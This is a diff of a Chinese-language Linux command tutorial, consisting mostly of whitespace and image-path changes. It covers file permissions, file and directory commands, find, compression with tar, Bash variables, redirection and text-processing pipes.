+- d：目录
+- -：文件
+- l：链接文件
 
-9 位的文件权限字段中，每 3 个为一组，共 3 组，每一组分别代表对文件拥有者、所属群组以及其它人的文件权限。一组权限中的 3 位分别为 r、w、x 权限，表示可读、可写、可执行。
+9 位的文件权限字段中，每 3 个为一组，共 3 组，每一组分别代表对文件拥有者、所属群组以及其它人的文件权限。一组权限中的 3 位分别为 r、w、x 权限，表示可读、可写、可执行。
 
 文件时间有以下三种：
 
-- modification time (mtime)：文件的内容更新就会更新；
-- status time (ctime)：文件的状态（权限、属性）更新就会更新；
-- access time (atime)：读取文件时就会更新。
+- modification time (mtime)：文件的内容更新就会更新；
+- status time (ctime)：文件的状态（权限、属性）更新就会更新；
+- access time (atime)：读取文件时就会更新。
 
-## 文件与目录的基本操作
+## 文件与目录的基本操作
 
-### 1. ls
+### 1. ls
 
 列出文件或者目录的信息，目录的信息就是其中包含的文件。
 
 ```html
-# ls [-aAdfFhilnrRSt] file|dir
--a ：列出全部的文件
--d ：仅列出目录本身
--l ：以长数据串行列出，包含文件的属性与权限等等数据
+# ls [-aAdfFhilnrRSt] file|dir
+-a ：列出全部的文件
+-d ：仅列出目录本身
+-l ：以长数据串行列出，包含文件的属性与权限等等数据
 ```
 
-### 2. cd
+### 2. cd
 
 更换当前目录。
 
 ```
-cd [相对路径或绝对路径]
+cd [相对路径或绝对路径]
 ```
 
-### 3. mkdir
+### 3. mkdir
 
 创建目录。
 
 ```
-# mkdir [-mp] 目录名称
--m ：配置目录权限
--p ：递归创建目录
+# mkdir [-mp] 目录名称
+-m ：配置目录权限
+-p ：递归创建目录
 ```
 
-### 4. rmdir
+### 4. rmdir
 
 删除目录，目录必须为空。
 
 ```html
-rmdir [-p] 目录名称
--p ：递归删除目录
+rmdir [-p] 目录名称
+-p ：递归删除目录
 ```
 
-### 5. touch
+### 5. touch
 
 更新文件时间或者建立新文件。
 
 ```html
-# touch [-acdmt] filename
--a ： 更新 atime
--c ： 更新 ctime，若该文件不存在则不建立新文件
--m ： 更新 mtime
--d ： 后面可以接更新日期而不使用当前日期，也可以使用 --date="日期或时间"
--t ： 后面可以接更新时间而不使用当前时间，格式为[YYYYMMDDhhmm]
+# touch [-acdmt] filename
+-a ： 更新 atime
+-c ： 更新 ctime，若该文件不存在则不建立新文件
+-m ： 更新 mtime
+-d ： 后面可以接更新日期而不使用当前日期，也可以使用 --date="日期或时间"
+-t ： 后面可以接更新时间而不使用当前时间，格式为[YYYYMMDDhhmm]
 ```
 
-### 6. cp
+### 6. cp
 
 复制文件。
 
 如果源文件有两个以上，则目的文件一定要是目录才行。
 
 ```html
-cp [-adfilprsu] source destination
--a ：相当于 -dr --preserve=all 的意思，至于 dr 请参考下列说明
--d ：若来源文件为链接文件，则复制链接文件属性而非文件本身
--i ：若目标文件已经存在时，在覆盖前会先询问
--p ：连同文件的属性一起复制过去
--r ：递归持续复制
--u ：destination 比 source 旧才更新 destination，或 destination 不存在的情况下才复制
---preserve=all ：除了 -p 的权限相关参数外，还加入 SELinux 的属性, links, xattr 等也复制了
+cp [-adfilprsu] source destination
+-a ：相当于 -dr --preserve=all 的意思，至于 dr 请参考下列说明
+-d ：若来源文件为链接文件，则复制链接文件属性而非文件本身
+-i ：若目标文件已经存在时，在覆盖前会先询问
+-p ：连同文件的属性一起复制过去
+-r ：递归持续复制
+-u ：destination 比 source 旧才更新 destination，或 destination 不存在的情况下才复制
+--preserve=all ：除了 -p 的权限相关参数外，还加入 SELinux 的属性, links, xattr 等也复制了
 ```
 
-### 7. rm
+### 7. rm
 
 删除文件。
 
 ```html
-# rm [-fir] 文件或目录
--r ：递归删除
+# rm [-fir] 文件或目录
+-r ：递归删除
 ```
 
-### 8. mv
+### 8. mv
 
 移动文件。
 
 ```html
-# mv [-fiu] source destination
-# mv [options] source1 source2 source3 .... directory
--f ： force 强制的意思，如果目标文件已经存在，不会询问而直接覆盖
+# mv [-fiu] source destination
+# mv [options] source1 source2 source3 .... directory
+-f ： force 强制的意思，如果目标文件已经存在，不会询问而直接覆盖
 ```
 
-## 修改权限
+## 修改权限
 
-可以将一组权限用数字来表示，此时一组权限的 3 个位当做二进制数字的位，从左到右每个位的权值为 4、2、1，即每个权限对应的数字权值为 r : 4、w : 2、x : 1。
+可以将一组权限用数字来表示，此时一组权限的 3 个位当做二进制数字的位，从左到右每个位的权值为 4、2、1，即每个权限对应的数字权值为 r : 4、w : 2、x : 1。
 
 ```html
-# chmod [-R] xyz dirname/filename
+# chmod [-R] xyz dirname/filename
 ```
 
-示例：将 .bashrc 文件的权限修改为 -rwxr-xr--。
+示例：将 .bashrc 文件的权限修改为 -rwxr-xr--。
 
 ```html
-# chmod 754 .bashrc
+# chmod 754 .bashrc
 ```
 
 也可以使用符号来设定权限。
 
 ```html
-# chmod [ugoa]  [+-=] [rwx] dirname/filename
-- u：拥有者
-- g：所属群组
-- o：其他人
-- a：所有人
-- +：添加权限
-- -：移除权限
-- =：设定权限
+# chmod [ugoa]  [+-=] [rwx] dirname/filename
+- u：拥有者
+- g：所属群组
+- o：其他人
+- a：所有人
+- +：添加权限
+- -：移除权限
+- =：设定权限
 ```
 
-示例：为 .bashrc 文件的所有用户添加写权限。
+示例：为 .bashrc 文件的所有用户添加写权限。
 
 ```html
-# chmod a+w .bashrc
+# chmod a+w .bashrc
 ```
 
-## 文件默认权限
+## 文件默认权限
 
-- 文件默认权限：文件默认没有可执行权限，因此为 666，也就是 -rw-rw-rw- 。
-- 目录默认权限：目录必须要能够进入，也就是必须拥有可执行权限，因此为 777 ，也就是 drwxrwxrwx。
+- 文件默认权限：文件默认没有可执行权限，因此为 666，也就是 -rw-rw-rw- 。
+- 目录默认权限：目录必须要能够进入，也就是必须拥有可执行权限，因此为 777 ，也就是 drwxrwxrwx。
 
-可以通过 umask 设置或者查看文件的默认权限，通常以掩码的形式来表示，例如 002 表示其它用户的权限去除了一个 2 的权限，也就是写权限，因此建立新文件时默认的权限为 -rw-rw-r--。
+可以通过 umask 设置或者查看文件的默认权限，通常以掩码的形式来表示，例如 002 表示其它用户的权限去除了一个 2 的权限，也就是写权限，因此建立新文件时默认的权限为 -rw-rw-r--。
 
-## 目录的权限
+## 目录的权限
 
-文件名不是存储在一个文件的内容中，而是存储在一个文件所在的目录中。因此，拥有文件的 w 权限并不能对文件名进行修改。
+文件名不是存储在一个文件的内容中，而是存储在一个文件所在的目录中。因此，拥有文件的 w 权限并不能对文件名进行修改。
 
-目录存储文件列表，一个目录的权限也就是对其文件列表的权限。因此，目录的 r 权限表示可以读取文件列表；w 权限表示可以修改文件列表，具体来说，就是添加删除文件，对文件名进行修改；x 权限可以让该目录成为工作目录，x 权限是 r 和 w 权限的基础，如果不能使一个目录成为工作目录，也就没办法读取文件列表以及对文件列表进行修改了。
+目录存储文件列表，一个目录的权限也就是对其文件列表的权限。因此，目录的 r 权限表示可以读取文件列表；w 权限表示可以修改文件列表，具体来说，就是添加删除文件，对文件名进行修改；x 权限可以让该目录成为工作目录，x 权限是 r 和 w 权限的基础，如果不能使一个目录成为工作目录，也就没办法读取文件列表以及对文件列表进行修改了。
 
-## 链接
+## 链接
 
 ```html
-# ln [-sf] source_filename dist_filename
--s ：默认是 hard link，加 -s 为 symbolic link
--f ：如果目标文件存在时，先删除目标文件
+# ln [-sf] source_filename dist_filename
+-s ：默认是 hard link，加 -s 为 symbolic link
+-f ：如果目标文件存在时，先删除目标文件
 ```
 
-<div align="center"> <img src="pics/b8081c84-62c4-4019-b3ee-4bd0e443d647.jpg" width="400px"> </div><br>
+<img src="index_files/b8081c84-62c4-4019-b3ee-4bd0e443d647.jpg" width="400px">
 
-### 1. 实体链接
+### 1. 实体链接
 
-在目录下创建一个条目，记录着文件名与 inode 编号，这个 inode 就是源文件的 inode。
+在目录下创建一个条目，记录着文件名与 inode 编号，这个 inode 就是源文件的 inode。
 
-删除任意一个条目，文件还是存在，只要引用数量不为 0。
+删除任意一个条目，文件还是存在，只要引用数量不为 0。
 
 有以下限制：不能跨越文件系统、不能对目录进行链接。
 
 ```html
-# ln /etc/crontab .
-# ll -i /etc/crontab crontab
-34474855 -rw-r--r--. 2 root root 451 Jun 10 2014 crontab
-34474855 -rw-r--r--. 2 root root 451 Jun 10 2014 /etc/crontab
+# ln /etc/crontab .
+# ll -i /etc/crontab crontab
+34474855 -rw-r--r--. 2 root root 451 Jun 10 2014 crontab
+34474855 -rw-r--r--. 2 root root 451 Jun 10 2014 /etc/crontab
 ```
 
-### 2. 符号链接
+### 2. 符号链接
 
-符号链接文件保存着源文件所在的绝对路径，在读取时会定位到源文件上，可以理解为 Windows 的快捷方式。
+符号链接文件保存着源文件所在的绝对路径，在读取时会定位到源文件上，可以理解为 Windows 的快捷方式。
 
 当源文件被删除了，链接文件就打不开了。
 
 可以为目录建立链接。
 
 ```html
-# ll -i /etc/crontab /root/crontab2
-34474855 -rw-r--r--. 2 root root 451 Jun 10 2014 /etc/crontab
-53745909 lrwxrwxrwx. 1 root root 12 Jun 23 22:31 /root/crontab2 -> /etc/crontab
+# ll -i /etc/crontab /root/crontab2
+34474855 -rw-r--r--. 2 root root 451 Jun 10 2014 /etc/crontab
+53745909 lrwxrwxrwx. 1 root root 12 Jun 23 22:31 /root/crontab2 -> /etc/crontab
 ```
 
-## 获取文件内容
+## 获取文件内容
 
-### 1. cat
+### 1. cat
 
 取得文件内容。
 
 ```html
-# cat [-AbEnTv] filename
--n ：打印出行号，连同空白行也会有行号，-b 不会
+# cat [-AbEnTv] filename
+-n ：打印出行号，连同空白行也会有行号，-b 不会
 ```
 
-### 2. tac
+### 2. tac
 
-是 cat 的反向操作，从最后一行开始打印。
+是 cat 的反向操作，从最后一行开始打印。
 
-### 3. more
+### 3. more
 
-和 cat 不同的是它可以一页一页查看文件内容，比较适合大文件的查看。
+和 cat 不同的是它可以一页一页查看文件内容，比较适合大文件的查看。
 
-### 4. less
+### 4. less
 
-和 more 类似，但是多了一个向前翻页的功能。
+和 more 类似，但是多了一个向前翻页的功能。
 
-### 5. head
+### 5. head
 
 取得文件前几行。
 
 ```html
-# head [-n number] filename
--n ：后面接数字，代表显示几行的意思
+# head [-n number] filename
+-n ：后面接数字，代表显示几行的意思
 ```
 
-### 6. tail
+### 6. tail
 
-是 head 的反向操作，只是取得是后几行。
+是 head 的反向操作，只是取得是后几行。
 
-### 7. od
+### 7. od
 
 以字符或者十六进制的形式显示二进制文件。
 
-## 指令与文件搜索
+## 指令与文件搜索
 
-### 1. which
+### 1. which
 
 指令搜索。
 
 ```html
-# which [-a] command
--a ：将所有指令列出，而不是只列第一个
+# which [-a] command
+-a ：将所有指令列出，而不是只列第一个
 ```
 
-### 2. whereis
+### 2. whereis
 
 文件搜索。速度比较快，因为它只搜索几个特定的目录。
 
 ```html
-# whereis [-bmsu] dirname/filename
+# whereis [-bmsu] dirname/filename
 ```
 
-### 3. locate
+### 3. locate
 
 文件搜索。可以用关键字或者正则表达式进行搜索。
 
-locate 使用 /var/lib/mlocate/ 这个数据库来进行搜索，它存储在内存中，并且每天更新一次，所以无法用 locate 搜索新建的文件。可以使用 updatedb 来立即更新数据库。
+locate 使用 /var/lib/mlocate/ 这个数据库来进行搜索，它存储在内存中，并且每天更新一次，所以无法用 locate 搜索新建的文件。可以使用 updatedb 来立即更新数据库。
 
 ```html
-# locate [-ir] keyword
+# locate [-ir] keyword
 -r：正则表达式
 ```
 
-### 4. find
+### 4. find
 
 文件搜索。可以使用文件的属性和权限进行搜索。
 
 ```html
-# find [basedir] [option]
-example: find . -name "shadow*"
+# find [basedir] [option]
+example: find . -name "shadow*"
 ```
 
-**① 与时间有关的选项** 
+**① 与时间有关的选项**
 
 ```html
--mtime  n ：列出在 n 天前的那一天修改过内容的文件
--mtime +n ：列出在 n 天之前 (不含 n 天本身) 修改过内容的文件
--mtime -n ：列出在 n 天之内 (含 n 天本身) 修改过内容的文件
--newer file ： 列出比 file 更新的文件
+-mtime  n ：列出在 n 天前的那一天修改过内容的文件
+-mtime +n ：列出在 n 天之前 (不含 n 天本身) 修改过内容的文件
+-mtime -n ：列出在 n 天之内 (含 n 天本身) 修改过内容的文件
+-newer file ： 列出比 file 更新的文件
 ```
 
-+4、4 和 -4 的指示的时间范围如下：
++4、4 和 -4 的指示的时间范围如下：
 
-<div align="center"> <img src="pics/658fc5e7-79c0-4247-9445-d69bf194c539.png" width=""/> </div><br>
+<img src="index_files/658fc5e7-79c0-4247-9445-d69bf194c539.png" width=""/>
 
-**② 与文件拥有者和所属群组有关的选项** 
+**② 与文件拥有者和所属群组有关的选项**
 
 ```html
--uid n
--gid n
--user name
--group name
--nouser ：搜索拥有者不存在 /etc/passwd 的文件
--nogroup：搜索所属群组不存在于 /etc/group 的文件
+-uid n
+-gid n
+-user name
+-group name
+-nouser ：搜索拥有者不存在 /etc/passwd 的文件
+-nogroup：搜索所属群组不存在于 /etc/group 的文件
 ```
 
-**③ 与文件权限和名称有关的选项** 
+**③ 与文件权限和名称有关的选项**
 
 ```html
--name filename
--size [+-]SIZE：搜寻比 SIZE 还要大 (+) 或小 (-) 的文件。这个 SIZE 的规格有：c: 代表 byte，k: 代表 1024bytes。所以，要找比 50KB 还要大的文件，就是 -size +50k
--type TYPE
--perm mode  ：搜索权限等于 mode 的文件
--perm -mode ：搜索权限包含 mode 的文件
--perm /mode ：搜索权限包含任一 mode 的文件
+-name filename
+-size [+-]SIZE：搜寻比 SIZE 还要大 (+) 或小 (-) 的文件。这个 SIZE 的规格有：c: 代表 byte，k: 代表 1024bytes。所以，要找比 50KB 还要大的文件，就是 -size +50k
+-type TYPE
+-perm mode  ：搜索权限等于 mode 的文件
+-perm -mode ：搜索权限包含 mode 的文件
+-perm /mode ：搜索权限包含任一 mode 的文件
 ```
 
-# 六、压缩与打包
+# 六、压缩与打包
 
-## 压缩文件名
+## 压缩文件名
 
-Linux 底下有很多压缩文件名，常见的如下：
+Linux 底下有很多压缩文件名，常见的如下：
 
-| 扩展名 | 压缩程序 |
-| -- | -- |
-| \*.Z | compress |
-|\*.zip |  zip |
-|\*.gz  | gzip|
-|\*.bz2 |  bzip2 |
-|\*.xz  | xz |
-|\*.tar |  tar 程序打包的数据，没有经过压缩 |
-|\*.tar.gz | tar 程序打包的文件，经过 gzip 的压缩 |
-|\*.tar.bz2 | tar 程序打包的文件，经过 bzip2 的压缩 |
-|\*.tar.xz | tar 程序打包的文件，经过 xz 的压缩 |
+| 扩展名 | 压缩程序 |
+| -- | -- |
+| \*.Z | compress |
+|\*.zip |  zip |
+|\*.gz  | gzip|
+|\*.bz2 |  bzip2 |
+|\*.xz  | xz |
+|\*.tar |  tar 程序打包的数据，没有经过压缩 |
+|\*.tar.gz | tar 程序打包的文件，经过 gzip 的压缩 |
+|\*.tar.bz2 | tar 程序打包的文件，经过 bzip2 的压缩 |
+|\*.tar.xz | tar 程序打包的文件，经过 xz 的压缩 |
 
-## 压缩指令
+## 压缩指令
 
-### 1. gzip
+### 1. gzip
 
-gzip 是 Linux 使用最广的压缩指令，可以解开 compress、zip 与 gzip 所压缩的文件。
+gzip 是 Linux 使用最广的压缩指令，可以解开 compress、zip 与 gzip 所压缩的文件。
 
-经过 gzip 压缩过，源文件就不存在了。
+经过 gzip 压缩过，源文件就不存在了。
 
-有 9 个不同的压缩等级可以使用。
+有 9 个不同的压缩等级可以使用。
 
-可以使用 zcat、zmore、zless 来读取压缩文件的内容。
+可以使用 zcat、zmore、zless 来读取压缩文件的内容。
 
 ```html
-$ gzip [-cdtv#] filename
--c ：将压缩的数据输出到屏幕上
--d ：解压缩
--t ：检验压缩文件是否出错
--v ：显示压缩比等信息
--# ： # 为数字的意思，代表压缩等级，数字越大压缩比越高，默认为 6
+$ gzip [-cdtv#] filename
+-c ：将压缩的数据输出到屏幕上
+-d ：解压缩
+-t ：检验压缩文件是否出错
+-v ：显示压缩比等信息
+-# ： # 为数字的意思，代表压缩等级，数字越大压缩比越高，默认为 6
 ```
 
-### 2. bzip2
+### 2. bzip2
 
-提供比 gzip 更高的压缩比。
+提供比 gzip 更高的压缩比。
 
 查看命令：bzcat、bzmore、bzless、bzgrep。
 
 ```html
-$ bzip2 [-cdkzv#] filename
--k ：保留源文件
+$ bzip2 [-cdkzv#] filename
+-k ：保留源文件
 ```
 
-### 3. xz
+### 3. xz
 
-提供比 bzip2 更佳的压缩比。
+提供比 bzip2 更佳的压缩比。
 
-可以看到，gzip、bzip2、xz 的压缩比不断优化。不过要注意的是，压缩比越高，压缩的时间也越长。
+可以看到，gzip、bzip2、xz 的压缩比不断优化。不过要注意的是，压缩比越高，压缩的时间也越长。
 
 查看命令：xzcat、xzmore、xzless、xzgrep。
 
 ```html
-$ xz [-dtlkc#] filename
+$ xz [-dtlkc#] filename
 ```
 
-## 打包
+## 打包
 
-压缩指令只能对一个文件进行压缩，而打包能够将多个文件打包成一个大文件。tar 不仅可以用于打包，也可以使用 gip、bzip2、xz 将打包文件进行压缩。
+压缩指令只能对一个文件进行压缩，而打包能够将多个文件打包成一个大文件。tar 不仅可以用于打包，也可以使用 gip、bzip2、xz 将打包文件进行压缩。
 
 ```html
-$ tar [-z|-j|-J] [cv] [-f 新建的 tar 文件] filename...  ==打包压缩
-$ tar [-z|-j|-J] [tv] [-f 已有的 tar 文件]              ==查看
-$ tar [-z|-j|-J] [xv] [-f 已有的 tar 文件] [-C 目录]    ==解压缩
--z ：使用 zip；
--j ：使用 bzip2；
--J ：使用 xz；
--c ：新建打包文件；
--t ：查看打包文件里面有哪些文件；
--x ：解打包或解压缩的功能；
--v ：在压缩/解压缩的过程中，显示正在处理的文件名；
--f : filename：要处理的文件；
--C 目录 ： 在特定目录解压缩。
+$ tar [-z|-j|-J] [cv] [-f 新建的 tar 文件] filename...  ==打包压缩
+$ tar [-z|-j|-J] [tv] [-f 已有的 tar 文件]              ==查看
+$ tar [-z|-j|-J] [xv] [-f 已有的 tar 文件] [-C 目录]    ==解压缩
+-z ：使用 zip；
+-j ：使用 bzip2；
+-J ：使用 xz；
+-c ：新建打包文件；
+-t ：查看打包文件里面有哪些文件；
+-x ：解打包或解压缩的功能；
+-v ：在压缩/解压缩的过程中，显示正在处理的文件名；
+-f : filename：要处理的文件；
+-C 目录 ： 在特定目录解压缩。
 ```
 
-| 使用方式 | 命令 |
-| :---: | --- |
-| 打包压缩 | tar -jcv -f filename.tar.bz2 要被压缩的文件或目录名称 |
-| 查 看 | tar -jtv -f filename.tar.bz2 |
-| 解压缩 | tar -jxv -f filename.tar.bz2 -C 要解压缩的目录 |
+| 使用方式 | 命令 |
+| :---: | --- |
+| 打包压缩 | tar -jcv -f filename.tar.bz2 要被压缩的文件或目录名称 |
+| 查 看 | tar -jtv -f filename.tar.bz2 |
+| 解压缩 | tar -jxv -f filename.tar.bz2 -C 要解压缩的目录 |
 
-# 七、Bash
+# 七、Bash
 
-可以通过 Shell 请求内核提供服务，Bash 正是 Shell 的一种。
+可以通过 Shell 请求内核提供服务，Bash 正是 Shell 的一种。
 
-## 特性
+## 特性
 
-- 命令历史：记录使用过的命令
-- 命令与文件补全：快捷键：tab
-- 命名别名：例如 lm 是 ls -al 的别名
-- shell scripts
-- 通配符：例如 ls -l /usr/bin/X\* 列出 /usr/bin 下面所有以 X 开头的文件
+- 命令历史：记录使用过的命令
+- 命令与文件补全：快捷键：tab
+- 命名别名：例如 lm 是 ls -al 的别名
+- shell scripts
+- 通配符：例如 ls -l /usr/bin/X\* 列出 /usr/bin 下面所有以 X 开头的文件
 
-## 变量操作
+## 变量操作
 
-对一个变量赋值直接使用 =。
+对一个变量赋值直接使用 =。
 
-对变量取用需要在变量前加上 \$ ，也可以用 \${} 的形式；
+对变量取用需要在变量前加上 \$ ，也可以用 \${} 的形式；
 
-输出变量使用 echo 命令。
+输出变量使用 echo 命令。
 
 ```bash
-$ x=abc
-$ echo $x
-$ echo ${x}
+$ x=abc
+$ echo $x
+$ echo ${x}
 ```
 
 变量内容如果有空格，必须使用双引号或者单引号。
 
-- 双引号内的特殊字符可以保留原本特性，例如 x="lang is \$LANG"，则 x 的值为 lang is zh_TW.UTF-8；
-- 单引号内的特殊字符就是特殊字符本身，例如 x='lang is \$LANG'，则 x 的值为 lang is \$LANG。
+- 双引号内的特殊字符可以保留原本特性，例如 x="lang is \$LANG"，则 x 的值为 lang is zh_TW.UTF-8；
+- 单引号内的特殊字符就是特殊字符本身，例如 x='lang is \$LANG'，则 x 的值为 lang is \$LANG。
 
-可以使用 \`指令\` 或者 \$(指令) 的方式将指令的执行结果赋值给变量。例如 version=\$(uname -r)，则 version 的值为 4.15.0-22-generic。
+可以使用 \`指令\` 或者 \$(指令) 的方式将指令的执行结果赋值给变量。例如 version=\$(uname -r)，则 version 的值为 4.15.0-22-generic。
 
-可以使用 export 命令将自定义变量转成环境变量，环境变量可以在子程序中使用，所谓子程序就是由当前 Bash 而产生的子 Bash。
+可以使用 export 命令将自定义变量转成环境变量，环境变量可以在子程序中使用，所谓子程序就是由当前 Bash 而产生的子 Bash。
 
-Bash 的变量可以声明为数组和整数数字。注意数字类型没有浮点数。如果不进行声明，默认是字符串类型。变量的声明使用 declare 命令：
+Bash 的变量可以声明为数组和整数数字。注意数字类型没有浮点数。如果不进行声明，默认是字符串类型。变量的声明使用 declare 命令：
 
 ```html
-$ declare [-aixr] variable
--a ： 定义为数组类型
--i ： 定义为整数类型
--x ： 定义为环境变量
--r ： 定义为 readonly 类型
+$ declare [-aixr] variable
+-a ： 定义为数组类型
+-i ： 定义为整数类型
+-x ： 定义为环境变量
+-r ： 定义为 readonly 类型
 ```
 
-使用 [ ] 来对数组进行索引操作：
+使用 [ ] 来对数组进行索引操作：
 
 ```bash
-$ array[1]=a
-$ array[2]=b
-$ echo ${array[1]}
+$ array[1]=a
+$ array[2]=b
+$ echo ${array[1]}
 ```
 
-## 指令搜索顺序
+## 指令搜索顺序
 
-- 以绝对或相对路径来执行指令，例如 /bin/ls 或者 ./ls ；
-- 由别名找到该指令来执行；
-- 由 Bash 内置的指令来执行；
-- 按 \$PATH 变量指定的搜索路径的顺序找到第一个指令来执行。
+- 以绝对或相对路径来执行指令，例如 /bin/ls 或者 ./ls ；
+- 由别名找到该指令来执行；
+- 由 Bash 内置的指令来执行；
+- 按 \$PATH 变量指定的搜索路径的顺序找到第一个指令来执行。
 
-## 数据流重定向
+## 数据流重定向
 
 重定向指的是使用文件代替标准输入、标准输出和标准错误输出。
 
-| 1 | 代码 | 运算符 |
-| :---: | :---: | :---:|
-| 标准输入 (stdin)  | 0 | < 或 << |
-| 标准输出 (stdout) | 1 | &gt; 或 >> |
-| 标准错误输出 (stderr) | 2 | 2> 或 2>> |
+| 1 | 代码 | 运算符 |
+| :---: | :---: | :---:|
+| 标准输入 (stdin)  | 0 | < 或 << |
+| 标准输出 (stdout) | 1 | &gt; 或 >> |
+| 标准错误输出 (stderr) | 2 | 2> 或 2>> |
 
 其中，有一个箭头的表示以覆盖的方式重定向，而有两个箭头的表示以追加的方式重定向。
 
-可以将不需要的标准输出以及标准错误输出重定向到 /dev/null，相当于扔进垃圾箱。
+可以将不需要的标准输出以及标准错误输出重定向到 /dev/null，相当于扔进垃圾箱。
 
-如果需要将标准输出以及标准错误输出同时重定向到一个文件，需要将某个输出转换为另一个输出，例如 2>&1 表示将标准错误输出转换为标准输出。
+如果需要将标准输出以及标准错误输出同时重定向到一个文件，需要将某个输出转换为另一个输出，例如 2>&1 表示将标准错误输出转换为标准输出。
 
 ```bash
-$ find /home -name .bashrc > list 2>&1
+$ find /home -name .bashrc > list 2>&1
 ```
 
-# 八、管道指令
+# 八、管道指令
 
 管道是将一个命令的标准输出作为另一个命令的标准输入，在数据需要经过多个步骤的处理之后才能得到我们想要的内容时就可以使用管道。
 
-在命令之间使用 | 分隔各个管道命令。
+在命令之间使用 | 分隔各个管道命令。
 
 ```bash
-$ ls -al /etc | less
+$ ls -al /etc | less
 ```
 
-## 提取指令
+## 提取指令
 
-cut 对数据进行切分，取出想要的部分。
+cut 对数据进行切分，取出想要的部分。
 
 切分过程一行一行地进行。
 
 ```html
-$ cut
--d ：分隔符
--f ：经过 -d 分隔后，使用 -f n 取出第 n 个区间
--c ：以字符为单位取出区间
+$ cut
+-d ：分隔符
+-f ：经过 -d 分隔后，使用 -f n 取出第 n 个区间
+-c ：以字符为单位取出区间
 ```
 
-示例 1：last 显示登入者的信息，取出用户名。
+示例 1：last 显示登入者的信息，取出用户名。
 
 ```html
-$ last
-root pts/1 192.168.201.101 Sat Feb 7 12:35 still logged in
-root pts/1 192.168.201.101 Fri Feb 6 12:13 - 18:46 (06:33)
-root pts/1 192.168.201.254 Thu Feb 5 22:37 - 23:53 (01:16)
+$ last
+root pts/1 192.168.201.101 Sat Feb 7 12:35 still logged in
+root pts/1 192.168.201.101 Fri Feb 6 12:13 - 18:46 (06:33)
+root pts/1 192.168.201.254 Thu Feb 5 22:37 - 23:53 (01:16)
 
-$ last | cut -d ' ' -f 1
+$ last | cut -d ' ' -f 1
 ```
 
-示例 2：将 export 输出的信息，取出第 12 字符以后的所有字符串。
+示例 2：将 export 输出的信息，取出第 12 字符以后的所有字符串。
 
 ```html
-$ export
-declare -x HISTCONTROL="ignoredups"
-declare -x HISTSIZE="1000"
-declare -x HOME="/home/dmtsai"
-declare -x HOSTNAME="study.centos.vbird"
+$ export
+declare -x HISTCONTROL="ignoredups"
+declare -x HISTSIZE="1000"
+declare -x HOME="/home/dmtsai"
+declare -x HOSTNAME="study.centos.vbird"
 .....(其他省略).....
 
-$ export | cut -c 12-
+$ export | cut -c 12-
 ```
 
-## 排序指令
+## 排序指令
 
-**sort**  用于排序。
+**sort** 用于排序。
 
 ```html
-$ sort [-fbMnrtuk] [file or stdin]
--f ：忽略大小写
--b ：忽略最前面的空格
--M ：以月份的名字来排序，例如 JAN，DEC
--n ：使用数字
--r ：反向排序
--u ：相当于 unique，重复的内容只出现一次
--t ：分隔符，默认为 tab
--k ：指定排序的区间
+$ sort [-fbMnrtuk] [file or stdin]
+-f ：忽略大小写
+-b ：忽略最前面的空格
+-M ：以月份的名字来排序，例如 JAN，DEC
+-n ：使用数字
+-r ：反向排序
+-u ：相当于 unique，重复的内容只出现一次
+-t ：分隔符，默认为 tab
+-k ：指定排序的区间
 ```
 
-示例：/etc/passwd 文件内容以 : 来分隔，要求以第三列进行排序。
+示例：/etc/passwd 文件内容以 : 来分隔，要求以第三列进行排序。
 
 ```html
-$ cat /etc/passwd | sort -t ':' -k 3
+$ cat /etc/passwd | sort -t ':' -k 3
 root:x:0:0:root:/root:/bin/bash
 dmtsai:x:1000:1000:dmtsai:/home/dmtsai:/bin/bash
 alex:x:1001:1002::/home/alex:/bin/bash
 arod:x:1002:1003::/home/arod:/bin/bash
 ```
 
-**uniq**  可以将重复的数据只取一个。
+**uniq** 可以将重复的数据只取一个。
 
 ```html
-$ uniq [-ic]
--i ：忽略大小写
--c ：进行计数
+$ uniq [-ic]
+-i ：忽略大小写
+-c ：进行计数
 ```
 
 示例：取得每个人的登录总次数
 
 ```html
-$ last | cut -d ' ' -f 1 | sort | uniq -c
+$ last | cut -d ' ' -f 1 | sort | uniq -c
 1
-6 (unknown
-47 dmtsai
-4 reboot
-7 root
-1 wtmp
+6 (unknown
+47 dmtsai
+4 reboot
+7 root
+1 wtmp
 ```
 
-## 双向输出重定向
+## 双向输出重定向
 
-输出重定向会将输出内容重定向到文件中，而  **tee**  不仅能够完成这个功能，还能保留屏幕上的输出。也就是说，使用 tee 指令，一个输出会同时传送到文件和屏幕上。
+输出重定向会将输出内容重定向到文件中，而 **tee** 不仅能够完成这个功能，还能保留屏幕上的输出。也就是说，使用 tee 指令，一个输出会同时传送到文件和屏幕上。
 
 ```html
-$ tee [-a] file
+$ tee [-a] file
 ```
 
-## 字符转换指令
+## 字符转换指令
 
-**tr**  用来删除一行中的字符，或者对字符进行替换。
+**tr** 用来删除一行中的字符，或者对字符进行替换。
 
 ```html
-$ tr [-ds] SET1 ...
--d ： 删除行中 SET1 这个字符串
+$ tr [-ds] SET1 ...
+-d ： 删除行中 SET1 这个字符串
 ```
 
-示例，将 last 输出的信息所有小写转换为大写。
+示例，将 last 输出的信息所有小写转换为大写。
 
 ```html
-$ last | tr '[a-z]' '[A-Z]'
+$ last | tr '[a-z]' '[A-Z]'
 ```
 
-  **col**  将 tab 字符转为空格字符。
+ **col** 将 tab 字符转为空格字符。
 
 ```html
-$ col [-xb]
--x ： 将 tab 键转换成对等的空格键
+$ col [-xb]
+-x ： 将 tab 键转换成对等的空格键
 ```
 
-**expand**  将 tab 转换一定数量的空格，默认是 8 个。
+**expand** 将 tab 转换一定数量的空格，默认是 8 个。
 
 ```html
-$ expand [-t] file
--t ：tab 转为空格的数量
+$ expand [-t] file
+-t ：tab 转为空格的数量
 ```
 
-**join**  将有相同数据的那一行合并在一起。
+**join** 将有相同数据的那一行合并在一起。
 
 ```html
-$ join [-ti12] file1 file2
--t ：分隔符，默认为空格
--i ：忽略大小写的差异
--1 ：第一个文件所用的比较字段
--2 ：第二个文件所用的比较字段
+$ join [-ti12] file1 file2
+-t ：分隔符，默认为空格
+-i ：忽略大小写的差异
+-1 ：第一个文件所用的比较字段
+-2 ：第二个文件所用的比较字段
 ```
 
-**paste**  直接将两行粘贴在一起。
+**paste** 直接将两行粘贴在一起。
 
 ```html
-$ paste [-d] file1 file2
--d ：分隔符，默认为 tab
+$ paste [-d] file1 file2
+-d ：分隔符，默认为 tab
 ```
 
-## 分区指令
+## 分区指令
 
-**split**  将一个文件划分成多个文件。
+**split** 将一个文件划分成多个文件。
 
 ```html
-$ split [-bl] file PREFIX
--b ：以大小来进行分区，可加单位，例如 b, k, m 等
--l ：以行数来进行分区。
-- PREFIX ：分区文件的前导名称
